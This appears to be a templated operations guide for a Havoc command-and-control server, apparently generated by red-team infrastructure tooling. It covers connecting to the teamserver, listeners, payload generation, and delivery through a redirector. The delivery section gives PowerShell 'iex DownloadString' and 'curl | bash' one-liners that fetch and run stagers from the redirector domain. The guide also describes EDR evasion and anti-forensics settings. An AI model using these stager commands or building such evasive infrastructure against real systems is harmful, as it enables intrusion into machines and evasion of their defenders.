77 lines
2.3 KiB
Django/Jinja
77 lines
2.3 KiB
Django/Jinja
HAVOC C2 OPERATIONS GUIDE
|
|
==========================
|
|
|
|
This guide provides information on using the Havoc C2 framework deployed on
|
|
your infrastructure.
|
|
|
|
SERVER INFORMATION
|
|
-----------------
|
|
C2 Server IP: {{ c2_ip }}
|
|
Redirector Domain: {{ redirector_domain }}
|
|
Teamserver Port: 40056
|
|
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
|
|
|
|
CONNECTING TO THE TEAMSERVER
|
|
---------------------------
|
|
From your local machine, you should:
|
|
|
|
1. Make sure Havoc client is installed on your operator system
|
|
2. Connect to the Teamserver:
|
|
- Host: {{ c2_ip }}
|
|
- Port: 40056
|
|
- User: admin
|
|
- Password: See /opt/havoc/data/profiles/default.yaotl
|
|
|
|
Note: You can use the team server CLI with:
|
|
$ havoc-teamserver client --username admin --password Your_Password
|
|
|
|
LISTENERS
|
|
--------
|
|
Two default listeners are configured:
|
|
- HTTP on port 8080
|
|
- HTTPS on port 443 (through the redirector)
|
|
|
|
You can view and manage listeners through the Havoc client.
|
|
|
|
GENERATING PAYLOADS
|
|
-----------------
|
|
Pre-generated payloads are available in:
|
|
- /opt/havoc/payloads/
|
|
|
|
For new payloads:
|
|
1. Connect to the Teamserver using the Havoc client
|
|
2. Navigate to Attack → Payload
|
|
3. Choose your payload options and generate
|
|
|
|
PAYLOAD DELIVERY
|
|
--------------
|
|
Payloads can be delivered through:
|
|
- HTTP server at {{ c2_ip }}:8443
|
|
- Through the redirector at {{ redirector_domain }}
|
|
|
|
PowerShell one-liner:
|
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
|
|
|
Linux one-liner:
|
|
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
|
|
|
OPERATIONAL SECURITY
|
|
------------------
|
|
- All connections go through the redirector
|
|
- Sleep times of agents are randomized (5s default with 30% jitter)
|
|
- Havoc is configured with numerous EDR evasion features
|
|
- Anti-forensics measures are enabled in all payloads
|
|
|
|
TROUBLESHOOTING
|
|
--------------
|
|
1. If agents can't connect:
|
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
|
- Check NGINX configuration on the redirector
|
|
- Ensure ports 8080 and 443 are open on respective servers
|
|
|
|
2. If Havoc Teamserver isn't responding:
|
|
- Check service status: systemctl status havoc
|
|
- View logs: journalctl -u havoc
|
|
- Restart if needed: systemctl restart havoc
|
|
|
|
3. Use the health command in Havoc client to check Teamserver health |